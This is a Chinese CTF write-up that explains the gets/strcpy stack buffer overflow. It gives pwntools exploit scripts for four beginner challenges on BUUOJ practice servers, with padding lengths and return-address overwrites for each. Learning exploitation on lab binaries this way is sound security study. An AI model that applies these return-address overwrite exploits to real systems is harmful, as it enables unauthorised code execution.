gets漏洞
gets从标准输入设备读字符串函数,其可以无限读取,不会判断上限,以回车结束读取,所以应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。
栈结构:
(图自ctf-wiki)
warmup_csaw_2016
找到gets漏洞,v5到rbp有0x40的内存
无脑填充即可:'a' * 0x40 + 'b' * 8 + p64(0x40060d)
exp
#!/usr/bin/python
from pwn import *
r = remote('node3.buuoj.cn', 29261)
r.recvuntil('WOW:')
address =0x000000000040060D
payload = 'A' * 72 + p64(address)
r.sendline(payload)
r.interactive()
rip
fun()函数找到system,同样gets溢出,填充:'a' * 0xf + 'b' * 8
exp
from pwn import *
#p = remote('node3.buuoj.cn', 27581)
p = process('./pwn1')
payload = 'a' * 23 + p64(0x401186)
p.sendline(payload)
p.interactive()
这里说一下,不知道为什么这个脚本远程跑不出来。。。(填充部分为'a' * 0xf就可以跑,但是这样本地是跑不出来的),但是思路是没问题的~
ciscn_2019_n_1
同gets,我们要做的就是把v2的值改成11.28125,看一下内存中v1和v2的位置
填充:'a' * (0x30-0x4),然后再将浮点数转为16进制即可改变v2的值。
exp
from pwn import *
r=remote('node3.buuoj.cn',27625)
payload='a'*0x2c+p64(0x41348000)
r.recvuntil("Let's guess the number.")
r.sendline(payload)
r.interactive()
pwn1_sctf_2016
把它放在最后是因为也是填充,但是不是gets溢出
可以看到我们输入用的函数是fgets,限制了长度,所以不能直接从这里溢出。继续往下看,发现溢出点——strcpy
整个程序的意思就是我们可以把'I'替换成'you',在strcpy函数中,未对s进行限制,v1对输入的I进行变换后:v0长度=‘I’的个数*3。(32*3>0x3c)所以可以溢出。
exp
from pwn import *
#p = process("./pwn1_sctf_2016")
p = remote('node3.buuoj.cn','27953')
payload = 'I'*20 + "aaaa" + p32(0x08048F0D)
p.sendline(payload)
p.interactive()